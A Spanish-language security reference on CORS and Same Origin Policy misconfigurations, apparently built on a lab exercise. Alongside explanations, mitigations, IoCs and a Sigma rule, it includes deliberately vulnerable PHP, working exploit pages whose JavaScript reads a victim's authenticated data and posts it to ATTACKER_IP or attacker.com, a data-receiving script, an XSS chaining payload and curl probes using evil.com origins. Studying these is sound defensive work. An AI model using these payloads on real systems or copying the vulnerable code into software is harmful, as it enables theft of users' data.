Malas configuraciones de CORS y SOP
El Cross-Origin Resource Sharing (CORS) y la Same Origin Policy (SOP) son mecanismos críticos de seguridad web que controlan cómo las aplicaciones web pueden solicitar recursos de…
Resumen
El Cross-Origin Resource Sharing (CORS) y la Same Origin Policy (SOP) son mecanismos críticos de seguridad web que controlan cómo las aplicaciones web pueden solicitar recursos de diferentes dominios. Mientras que SOP actúa como un mecanismo de seguridad fundamental que restringe las interacciones entre diferentes orígenes por defecto, CORS permite excepciones controladas a esta política mediante encabezados HTTP.
Las configuraciones incorrectas de CORS pueden llevar a vulnerabilidades significativas que permiten a atacantes:
- Exfiltrar datos confidenciales de usuarios autenticados
- Realizar acciones en nombre de la víctima
- Eludir controles de autenticación y autorización
- Encadenar con otros ataques (XSS, CSRF)
Impacto: Alto (confidencialidad e integridad) — Permite acceso no autorizado a datos sensibles mediante el navegador de la víctima.
Conceptos fundamentales
Same Origin Policy (SOP)
La Same Origin Policy es una política de seguridad del navegador que regula cómo las páginas web pueden interactuar entre sí. Según esta política, un script en una página web solo puede acceder a datos de otra página si ambas comparten el mismo origen.
Un origen se define mediante tres componentes:
- Esquema (Protocolo): HTTP, HTTPS, FTP, etc.
- Host (Dominio): example.com, subdomain.example.com
- Puerto: 80, 443, 8080, etc.
Ejemplo de comparación de orígenes:
| URL de origen | URL de destino | ¿Mismo origen? | Razón |
|---|---|---|---|
https://test.com:443/page1 |
https://test.com:443/page2 |
✅ Sí | Mismo protocolo, dominio y puerto |
https://test.com:443 |
https://test.com:8080 |
❌ No | Puerto diferente (443 vs 8080) |
http://test.com |
https://test.com |
❌ No | Protocolo diferente (HTTP vs HTTPS) |
https://test.com |
https://subdomain.test.com |
❌ No | Subdominio diferente |
Propósito: Prevenir que scripts maliciosos en una página accedan a datos confidenciales en otra página web a través del navegador del usuario.
Alcance: SOP no solo se aplica a scripts JavaScript. También afecta:
- Imágenes incrustadas
- Hojas de estilo (CSS)
- Iframes
- Fuentes web
- Solicitudes AJAX/Fetch
Cross-Origin Resource Sharing (CORS)
CORS es un mecanismo definido mediante encabezados HTTP que permite a los servidores especificar excepciones a la política SOP. Mientras SOP restringe por defecto las solicitudes cross-origin, CORS permite a los servidores declarar qué orígenes externos pueden acceder a sus recursos bajo condiciones controladas.
Flujo básico:
- El navegador envía una solicitud HTTP con el encabezado
Origin - El servidor procesa la solicitud y decide si permite ese origen
- El servidor incluye encabezados CORS en la respuesta (ej.
Access-Control-Allow-Origin) - El navegador interpreta los encabezados CORS y decide si permite al JavaScript acceder a la respuesta
Punto clave: El servidor NO bloquea la solicitud. Siempre la procesa y devuelve una respuesta con encabezados CORS. Es el navegador quien decide si el JavaScript puede acceder a esa respuesta según los encabezados recibidos.
Encabezados HTTP en CORS
Encabezados principales
| Encabezado | Descripción | Ejemplo |
|---|---|---|
Access-Control-Allow-Origin |
Especifica qué orígenes pueden acceder al recurso | Access-Control-Allow-Origin: https://example.com |
Access-Control-Allow-Methods |
Métodos HTTP permitidos en la solicitud real | Access-Control-Allow-Methods: GET, POST, PUT |
Access-Control-Allow-Headers |
Encabezados HTTP personalizados permitidos | Access-Control-Allow-Headers: Content-Type, Authorization |
Access-Control-Allow-Credentials |
Indica si se permiten credenciales (cookies, auth HTTP) | Access-Control-Allow-Credentials: true |
Access-Control-Max-Age |
Tiempo de caché de resultados de preflight (segundos) | Access-Control-Max-Age: 3600 |
Access-Control-Request-Method |
(Preflight) Indica el método de la solicitud real | Access-Control-Request-Method: POST |
Access-Control-Request-Headers |
(Preflight) Indica encabezados personalizados de la solicitud real | Access-Control-Request-Headers: X-Custom-Header |
Solicitudes simples vs Preflight
Solicitudes simples:
- Métodos:
GET,HEAD,POST - Content-Type permitidos:
application/x-www-form-urlencodedmultipart/form-datatext/plain
- Sin encabezados personalizados (fuera de los seguros para CORS)
- Se envían directamente al servidor con el encabezado
Origin - Las cookies y credenciales HTTP se incluyen automáticamente si el sitio las tiene configuradas previamente
Solicitudes preflight (OPTIONS):
- Se activan cuando:
- Se usan métodos distintos a GET/HEAD/POST
- Se usa
Content-Typefuera de los permitidos para solicitudes simples - Se incluyen encabezados personalizados
- El navegador envía primero una solicitud
OPTIONSpara verificar permisos - Si el preflight tiene éxito, se envía la solicitud real
- Las credenciales se envían en la solicitud real solo si
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin (ACAO) en profundidad
Configuraciones de ACAO
1. Origen único (más seguro):
Access-Control-Allow-Origin: https://example.com- Solo permite solicitudes de
https://example.com - Configuración recomendada para recursos sensibles
2. Múltiples orígenes (lista blanca dinámica):
$allowed_origins = ['https://app1.com', 'https://app2.com'];if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)) { header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);}- Valida el origen contra una lista blanca predefinida
- Requiere gestión cuidadosa de la lista
3. Comodín (wildcard) - menos seguro:
Access-Control-Allow-Origin: *- Permite solicitudes desde cualquier origen
- NO se pueden enviar credenciales cuando se usa
* - Solo adecuado para recursos públicos sin autenticación
4. Con credenciales (cookies, tokens):
Access-Control-Allow-Origin: https://trusted-app.comAccess-Control-Allow-Credentials: true- Permite envío de cookies y datos de autenticación HTTP
- NO se puede usar comodín (
*) — debe especificar un origen exacto - Las solicitudes simples envían cookies sin este encabezado, pero las solicitudes preflight lo requieren
Variantes / Configuraciones incorrectas comunes
1. Origen arbitrario (Arbitrary Origin)
Descripción: El servidor refleja cualquier valor del encabezado Origin en Access-Control-Allow-Origin sin validación.
Código vulnerable (PHP):
if (isset($_SERVER['HTTP_ORIGIN'])){ header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN'].""); header('Access-Control-Allow-Credentials: true');}Impacto: Un atacante puede usar cualquier dominio (ej. http://evil.com) y el servidor lo aceptará, permitiendo exfiltración de datos.
2. Expresiones regulares débiles (Bad Regex)
Descripción: El servidor valida orígenes usando patrones regex mal implementados.
Código vulnerable (PHP):
if (isset($_SERVER['HTTP_ORIGIN']) && preg_match('#corssop.thm#', $_SERVER['HTTP_ORIGIN'])) { header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN'].""); header('Access-Control-Allow-Credentials: true');}Problema: El patrón #corssop.thm# permite cualquier dominio que contenga la cadena corssop.thm, como:
http://corssop.thm.evilcors.thm✅ Coincidehttp://badexample.com-corssop.thm✅ Coincide
Regex común vulnerable:
/example.com$/— Permitebadexample.com/^example.com/— Permiteexample.com.attacker.com
3. Origen nulo (Null Origin)
Descripción: El servidor confía en el origen null, que puede generarse en contextos específicos.
Código vulnerable (PHP):
header('Access-Control-Allow-Origin: null');header('Access-Control-Allow-Credentials: true');Cuándo ocurre null como origen:
- Archivos locales (
file:///protocol) - Iframes con atributo
sandbox - Redirecciones cruzadas en algunos navegadores
- Data URLs (
data:text/html,...)
Explotación: Un atacante puede crear un iframe sandboxed que genera origen null y realiza la solicitud maliciosa.
Cómo funciona (mecánica de explotación)
Escenario de ataque típico
- Objetivo: Sitio vulnerable con CORS mal configurado (
https://vulnerable-app.com) - Atacante: Controla un dominio malicioso (
https://evil.com) - Víctima: Usuario autenticado en
https://vulnerable-app.com - Ataque:
- Atacante envía a la víctima un enlace a
https://evil.com/exploit.html - La víctima visita la página maliciosa
- JavaScript en
evil.comrealiza solicitudes cross-origin avulnerable-app.com - El navegador de la víctima envía automáticamente cookies de sesión
- El servidor responde con
Access-Control-Allow-Origin: https://evil.com(configuración incorrecta) - El navegador permite que JavaScript acceda a la respuesta
- El atacante exfiltra datos sensibles a su servidor
- Atacante envía a la víctima un enlace a
Condiciones necesarias
- Configuración CORS incorrecta en el servidor objetivo
- Víctima autenticada en el sitio vulnerable
- Interacción de la víctima (visitar página maliciosa)
- Datos sensibles accesibles vía API/endpoints
Pre-requisitos
- Identificar un endpoint vulnerable con configuración CORS incorrecta
- La víctima debe tener una sesión activa en el sitio objetivo
- Capacidad de hacer que la víctima visite un sitio controlado por el atacante
- (Para exfiltración) Servidor controlado por el atacante para recibir datos
Impacto
Técnico:
- Confidencialidad: Acceso no autorizado a datos sensibles (perfiles, tokens, API keys)
- Integridad: Posibilidad de realizar acciones en nombre de la víctima
- No repudio: Las acciones parecen legítimas (origen del navegador de la víctima)
Negocio:
- Robo de información personal (PII)
- Exposición de secretos empresariales
- Compromiso de cuentas de usuario
- Violación de cumplimiento (GDPR, PCI-DSS)
- Daño reputacional
Cómo probar (paso a paso, seguro)
Configuración del laboratorio
Advertencia: Solo prueba en entornos autorizados y controlados.
1. Preparación del entorno de pruebas
A. Configurar hosts locales (Linux/Mac: /etc/hosts, Windows: C:\Windows\System32\drivers\etc\hosts):
MACHINE_IP corssop.thm exploit.evilcors.thm corssop.thm.evilcors.thmB. Configurar servidor de exfiltración (Apache + PHP):
- Instalar Apache y PHP:
sudo apt install php apache2- Crear
receiver.phpen/var/www/html/:
<?phpheader("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");header('Access-Control-Allow-Credentials: true');
$postdata = file_get_contents("php://input");file_put_contents('data.txt', $postdata);?>- Preparar archivo de salida:
cd /var/www/htmltouch data.txtchmod 0777 data.txtls -lah2. Prueba: Origen arbitrario
Identificación:
- Interceptar solicitud con Burp Suite
- Añadir encabezado:
Origin: http://evil.com - Verificar si la respuesta incluye:
Access-Control-Allow-Origin: http://evil.com
Explotación:
Crear exploit.html en servidor del atacante:
<!DOCTYPE html><html><head> <title>CORS Exploit - Arbitrary Origin</title></head><body> <h1>Explotación en progreso...</h1> <script> // Solicitud al sitio vulnerable var xhr = new XMLHttpRequest(); xhr.open("GET", "http://corssop.thm/arbitrary.php", true); xhr.withCredentials = true;
xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { // Exfiltrar datos var exfil = new XMLHttpRequest(); exfil.open("POST", "http://ATTACKER_IP:81/receiver.php", true); exfil.withCredentials = true;
// Convertir respuesta a bytes var body = this.responseText; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i);
exfil.send(new Blob([aBody])); } };
xhr.send(); </script></body></html>Validación:
- Verificar en DevTools (Network tab) las dos solicitudes XHR
- Comprobar
data.txten el servidor de exfiltración - Verificar logs del servidor para confirmar la conexión de la víctima
3. Prueba: Regex débil
Identificación:
Origin: http://corssop.thm.evilcors.thmSi la respuesta incluye el origen reflejado, la regex es débil.
Explotación: Similar a origen arbitrario, pero alojando el exploit en un dominio que coincida con la regex débil (ej. http://corssop.thm.evilcors.thm/exploit.html).
4. Prueba: Origen nulo
Identificación:
Origin: nullSi la respuesta incluye Access-Control-Allow-Origin: null, es vulnerable.
Explotación con iframe sandboxed:
<!DOCTYPE html><html><head> <title>Null Origin Exploit</title></head><body> <iframe id="exploitFrame" style="display:none;"></iframe>
<script> var exploitCode = ` <script> function exploit() { var xhttp = new XMLHttpRequest(); xhttp.open("GET", "http://corssop.thm/null.php", true); xhttp.withCredentials = true;
xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var exfiltrate = function(data) { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://ATTACKER_IP/receiver.php", true); xhr.withCredentials = true;
var body = data; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody])); }; exfiltrate(this.responseText); } }; xhttp.send(); } exploit(); <\/script> `;
// Codificar en base64 para data URL var encodedExploit = btoa(exploitCode);
// Establecer src del iframe con data URL (genera origen null) document.getElementById('exploitFrame').src = 'data:text/html;base64,' + encodedExploit; </script></body></html>Indicadores (IoCs / señales)
En logs del servidor web:
- Solicitudes OPTIONS (preflight) inusuales desde orígenes externos
- Patrones de encabezado
Originsospechosos (subdominios extraños, data URLs) - Solicitudes cross-origin a endpoints sensibles (API, panel admin)
En WAF / Proxy:
- Solicitudes con
Origin: nulla APIs autenticadas - Patrones de
Originque intentan eludir regex (victim.com.attacker.com) - Volumen alto de solicitudes cross-origin desde un único origen
En navegador (DevTools):
- Advertencias CORS en la consola
- Solicitudes XHR/Fetch cross-origin con credenciales
- Respuestas bloqueadas por política CORS
En SIEM / Correlation:
- Usuario accede a sitio externo → Inmediatamente después → Solicitudes API desde el navegador del usuario
- Múltiples usuarios accediendo al mismo dominio externo seguido de actividad API inusual
Mitigación / Controles
Controles preventivos (diseño/código)
1. Lista blanca estricta de orígenes:
$allowed_origins = [ 'https://app1.example.com', 'https://app2.example.com'];
if (isset($_SERVER['HTTP_ORIGIN'])) { if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins, true)) { header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); header('Access-Control-Allow-Credentials: true'); }}2. Validación robusta con regex:
// Correcto: anclar inicio y fin, escapar puntosif (preg_match('/^https:\/\/([a-z0-9-]+\.)?example\.com$/', $_SERVER['HTTP_ORIGIN'])) { header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);}3. Rechazar origen nulo explícitamente:
if (isset($_SERVER['HTTP_ORIGIN']) && $_SERVER['HTTP_ORIGIN'] !== 'null') { // Procesar validación}4. Minimizar uso de Access-Control-Allow-Credentials:
- Solo habilitar cuando sea estrictamente necesario
- Nunca combinar con comodín (
*) - Usar tokens en headers personalizados en lugar de cookies cuando sea posible
5. Segmentar APIs públicas vs privadas:
- APIs públicas: Usar
Access-Control-Allow-Origin: *sin credenciales - APIs privadas: Lista blanca estricta + credenciales solo si necesario
Defensa en profundidad
WAF (Web Application Firewall):
- Reglas para detectar/bloquear patrones sospechosos de
Origin - Rate limiting en endpoints sensibles
- Logging de todas las solicitudes cross-origin
Tokens anti-CSRF adicionales:
- Implementar tokens CSRF incluso con CORS correctamente configurado
- Defensa por capas contra configuraciones incorrectas futuras
Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; connect-src 'self' https://trusted-api.com- Limita orígenes desde donde el JavaScript puede hacer solicitudes
Autenticación basada en tokens:
- Usar headers personalizados (ej.
Authorization: Bearer <token>) - Evitar dependencia exclusiva de cookies de sesión
Auditoría y revisión de código:
- Revisar todas las configuraciones CORS en código y frameworks
- Buscar patrones:
$_SERVER['HTTP_ORIGIN'],req.headers.origin - Herramientas SAST para detectar configuraciones dinámicas peligrosas
Detección (SIEM/EDR/logs)
Logs necesarios
-
Access logs del servidor web (Apache/Nginx):
- Capturar encabezado
Origin - Registrar respuestas CORS (
Access-Control-Allow-Origin)
- Capturar encabezado
-
Application logs:
- Loguear todas las solicitudes cross-origin
- Registrar intentos de acceso a endpoints sensibles
-
WAF logs:
- Alertas de patrones sospechosos
- Intentos bloqueados
Reglas de detección (ejemplo Sigma)
title: Solicitud CORS sospechosa con credencialesdescription: Detecta solicitud cross-origin con credenciales a endpoint sensiblestatus: experimentallogsource: category: webserverdetection: selection: http_header_origin: '*' http_header_cookie: '*' uri: ['/api/user/*', '/api/admin/*', '/api/account/*'] condition: selectionfields: - client_ip - http_header_origin - uri - http_response_statusfalsepositives: - Aplicaciones legítimas con CORS configurado correctamentelevel: mediumCorrelación
Escenario de alerta:
- Usuario visita dominio externo no corporativo (proxy logs)
- Dentro de 60 segundos → Múltiples solicitudes API desde navegador del usuario (web logs)
- Patrón: Solicitudes incluyen
Origindel dominio externo + cookies de sesión
Respuesta:
- Alerta de seguridad (medium-high)
- Revisar dominio externo (reputación, registros DNS/WHOIS)
- Invalidar sesión del usuario si se confirma como malicioso
- Investigar datos accedidos
Encadenamiento de ataques
XSS + CORS
Escenario: Aplicación con XSS almacenado y configuración CORS para origen null.
Exploit:
- Inyectar XSS que crea iframe sandboxed (genera origen
null) - El iframe realiza solicitudes a endpoints con CORS mal configurado
- Exfiltrar datos sensibles
Código de ejemplo:
<!-- Payload XSS almacenado --><div> <iframe id="exploitFrame" style="display:none;"></iframe> <script> var exploitCode = ` <script> var xhttp = new XMLHttpRequest(); xhttp.open("GET", "http://vulnerable-app.com/api/sensitive", true); xhttp.withCredentials = true; xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var exfil = new XMLHttpRequest(); exfil.open("POST", "http://attacker.com/receiver", true); exfil.send(this.responseText); } }; xhttp.send(); <\/script> `;
var encoded = btoa(exploitCode); document.getElementById('exploitFrame').src = 'data:text/html;base64,' + encoded; </script></div>Impacto combinado: Mayor, ya que no requiere interacción de la víctima con sitio externo (se ejecuta en el propio sitio vulnerable).
Ejemplos / Payloads (solo educativos)
Prueba básica de CORS con curl
# Solicitud simple con Origin personalizadocurl -H "Origin: http://evil.com" \ -H "Cookie: session=abc123" \ -v https://target.com/api/user
# Buscar en respuesta:# Access-Control-Allow-Origin: http://evil.com# Access-Control-Allow-Credentials: truePrueba de origen nulo
curl -H "Origin: null" \ -H "Cookie: session=abc123" \ -v https://target.com/api/sensitivePrueba de regex débil
# Si el patrón es /victim.com/curl -H "Origin: https://victim.com.attacker.com" \ -v https://target.com/api/data
# Si el patrón es /^victim.com/curl -H "Origin: https://victim.com-evil.com" \ -v https://target.com/api/dataDiagrama
sequenceDiagram
participant Víctima
participant Navegador
participant SitioMalicioso as Sitio Malicioso (evil.com)
participant ServidorVulnerable as Servidor Vulnerable (victim.com)
participant ServidorAtacante as Servidor Atacante (exfil)
Víctima->>Navegador: Visita evil.com/exploit.html
Navegador->>SitioMalicioso: GET /exploit.html
SitioMalicioso-->>Navegador: JavaScript malicioso
Note over Navegador: JavaScript ejecuta solicitud cross-origin
Navegador->>ServidorVulnerable: GET /api/sensitive<br/>Origin: https://evil.com<br/>Cookie: session=xyz
Note over ServidorVulnerable: Configuración CORS incorrecta:<br/>Refleja cualquier Origin
ServidorVulnerable-->>Navegador: 200 OK<br/>Access-Control-Allow-Origin: https://evil.com<br/>Access-Control-Allow-Credentials: true<br/>{datos sensibles}
Note over Navegador: CORS permite acceso a respuesta
Navegador->>ServidorAtacante: POST /receiver.php<br/>{datos sensibles}
ServidorAtacante-->>Navegador: 200 OK
Note over ServidorAtacante: Atacante obtiene datos<br/>de la víctima
Flujo de decisión para implementación segura
flowchart TD
A[Necesitas CORS?] -->|No| B[No configurar CORS<br/>SOP protege por defecto]
A -->|Sí| C{Recurso público<br/>sin autenticación?}
C -->|Sí| D[Access-Control-Allow-Origin: *<br/>SIN Access-Control-Allow-Credentials]
C -->|No| E{Un solo origen<br/>confiable?}
E -->|Sí| F[Access-Control-Allow-Origin: https://trusted.com<br/>+ Access-Control-Allow-Credentials: true si necesario]
E -->|No| G[Múltiples orígenes confiables]
G --> H[Implementar lista blanca]
H --> I{Origen en<br/>lista blanca?}
I -->|Sí| J[Set ACAO al origen<br/>+ Credentials si necesario]
I -->|No| K[NO establecer ACAO<br/>Denegar acceso]
F --> L[Validar origen<br/>NO usar regex débil]
J --> L
L --> M{Origen es 'null'?}
M -->|Sí| N[RECHAZAR<br/>origen null]
M -->|No| O[PERMITIR]
style B fill:#90EE90
style D fill:#FFD700
style F fill:#90EE90
style K fill:#FF6B6B
style N fill:#FF6B6B
style O fill:#90EE90
Herramientas de prueba
Burp Suite
- Repeater: Modificar encabezado
Originmanualmente - Intruder: Probar múltiples valores de
Origin(lista de payloads) - Scanner: Detecta algunas configuraciones CORS incorrectas (dependiendo de extensiones)
OWASP ZAP
- Active Scanner: Pruebas automatizadas de CORS
- Request Editor: Modificar
Originmanualmente
Herramientas especializadas
- CORScanner (GitHub): Escáner automatizado de misconfigurations CORS
- Corsy (GitHub): Escáner de vulnerabilidades CORS con soporte para bypass
Comando curl (manual)
# Script básico de pruebafor origin in "http://evil.com" "null" "http://victim.com.evil.com"; do echo "[+] Probando Origin: $origin" curl -H "Origin: $origin" -v https://target.com/api/endpoint 2>&1 | grep -i "access-control"doneChecklist de revisión
Para desarrolladores:
- Lista blanca de orígenes implementada (no reflejar
Origindirectamente) - Validación robusta (regex anclada, escape correcto)
- Rechazar explícitamente origen
null -
Access-Control-Allow-Credentialssolo cuando sea necesario - Nunca usar
*conAccess-Control-Allow-Credentials: true - APIs públicas vs privadas segmentadas
- Tokens CSRF implementados como capa adicional
- CSP configurado para limitar destinos de fetch/XHR
Para auditores:
- Revisar todos los endpoints que establezcan headers CORS
- Probar con orígenes arbitrarios, nulos y patrones de bypass
- Verificar si se envían credenciales en solicitudes cross-origin
- Revisar código para patrones peligrosos (
$_SERVER['HTTP_ORIGIN']sin validación) - Probar encadenamiento con XSS
- Verificar logs y monitoreo de solicitudes cross-origin
Referencias
- TryHackMe - CORS & SOP Room — Laboratorio práctico de vulnerabilidades CORS
- OWASP - CORS PortSwigger — Guía de PortSwigger sobre CORS
- MDN Web Docs - CORS — Documentación técnica de CORS
- W3C - CORS Specification — Especificación oficial de CORS
- OWASP Testing Guide - Testing for CORS — Metodología de pruebas OWASP
Notas adicionales
- Las configuraciones CORS incorrectas son extremadamente comunes en aplicaciones modernas (SPAs, microservicios, APIs)
- La validación de origen es un control crítico pero a menudo implementado incorrectamente
- Frameworks y librerías pueden tener defaults inseguros (ej. reflejar
Originautomáticamente) - La combinación de SOP + CORS es compleja — comprender ambos mecanismos es fundamental
- Los navegadores modernos refuerzan SOP/CORS de forma estricta, pero la configuración del servidor determina la seguridad real
Relacionado:
- Cross-Site Request Forgery (CSRF) — Ataque relacionado que explota confianza de sesiones
- Cross-Site Scripting (XSS) — Puede encadenarse con CORS para mayor impacto
- OWASP API Security Top 10 (2019) — Incluye aspectos de seguridad de APIs relacionados con CORS
- Security Misconfiguration (OWASP Top 10 2025 - AS02) — CORS misconfiguration es un tipo de misconfiguration
- Broken Access Control (OWASP Top 10 2025 - A01) — CORS puede facilitar bypass de controles de acceso
- Burp Suite — Herramienta principal para pruebas de CORS
- Web App Testing Checklist (OWASP-inspired) — Incluir pruebas CORS en checklist